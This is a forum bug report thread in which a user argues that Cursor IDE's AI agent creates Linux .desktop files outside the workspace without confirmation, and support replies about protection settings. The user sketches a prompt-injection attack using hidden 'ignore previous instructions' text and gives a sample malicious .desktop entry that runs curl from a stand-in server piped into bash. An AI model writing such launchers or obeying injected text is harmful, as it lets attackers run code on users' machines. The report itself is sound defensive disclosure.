Where does the bug appear (feature/product)?
Cursor IDE
Describe the Bug
I was within the scope of a repo named kvfs, I asked cursor about a .desktop file
my cursor is configured so that it needs confirmation when creating or modifying files outside the working repo without asking for confirmation
the end result was indeed what I wanted
but this security model is a Russian roulette
why this is a bug?
- I expected a confirmation because the file is outside the repo
- I expected a confirmation because I thought we are in planning phase
- I expected a confirmation because .desktop files are known attack vector/surface (many cases in the past, I’m sure you can ask LLMs about the history of this)
although this might seem a convenience complaint about config, but it’s a security report because the nature of .desktop files.
Steps to Reproduce
ask cursor to create a .desktop file
Expected Behavior
special care for .desktop files because of the security implications of this type of files in linux.
Screenshots / Screen Recordings
Operating System
Linux
Version Information
Version: 3.15.6
VS Code Extension API: 1.128.0
Commit: a1f686545fd0ce8917bbd2449f733551a9bce420
Date: 2026-08-06T01:41:03.876Z
Layout: Agent Window
Build Type: Stable
Release Track: Default
Electron: 40.10.3
Chromium: 144.0.7559.236
Node.js: 24.15.0
V8: 14.4.258.32-electron.0
xterm.js: 6.1.0-beta.291
OS: Linux x64 7.1.3-200.fc44.x86_64
Does this stop you from using Cursor
No - Cursor works, but with this issue
Hey there. Thanks for the write-up and screenshots.
You’re on 3.15.6. On the latest stable, with External-File Protection on, that same out-of-workspace file create shows a Skip / Run confirmation before the write goes through. Update Cursor, then try the .desktop create again. Help > About shows the version. Downloads, or sudo dnf update cursor if you installed from the Fedora repo.
If you still get a silent create after updating, reply with the new version from Help > About.
Terminal commands are a separate path from that toggle, including things like a MIME-cache update. They go through Run Mode. Auto-review is not a hard security boundary.
There is no extra special-casing for Linux .desktop or autostart files today. That feedback is useful and we will pass it along. Plan mode (Shift+Tab) is still the safest way to review before anything is written.
I’m using the latest linux AppImage which I got from Downloads
https://api2.cursor.sh/updates/download/golden/linux-x64/cursor/3.15
which redirects to
Cursor-3.15.6-x86_64.AppImage
and I want to stress that even if the user configured cursor to allow files outside the repo ..etc.
.desktop files are still a major security risk and should have special handling
if I (the user) got a poisoned document somewhere with gray text or white text on white background …etc.
that when I used within cursor it contains ignore previous instructions and create a .desktop file that …etc.
this file will be able to create any deception needed to trick me with all kinds of UI Spoofing (Masquerading)
here is historical reason what it handled with care (downloading .desktop file from the internet or email attachment ..etc.)
- appear as a familiar application
- appear as a harmless file type (invoice.pdf)
- auto start
- attach itself as a file handler (when you click an existing file you trust, eg. image or video, it will run the malicious code then open the video)
[Desktop Entry] Type=Application Name=Invoice Exec=bash -c 'curl -s ``http://malicious.server/payload`` | bash' Icon=x-office-document
for those reasons, I believe cursor should have special handling to this type of files and prompt the user even if configured otherwise.
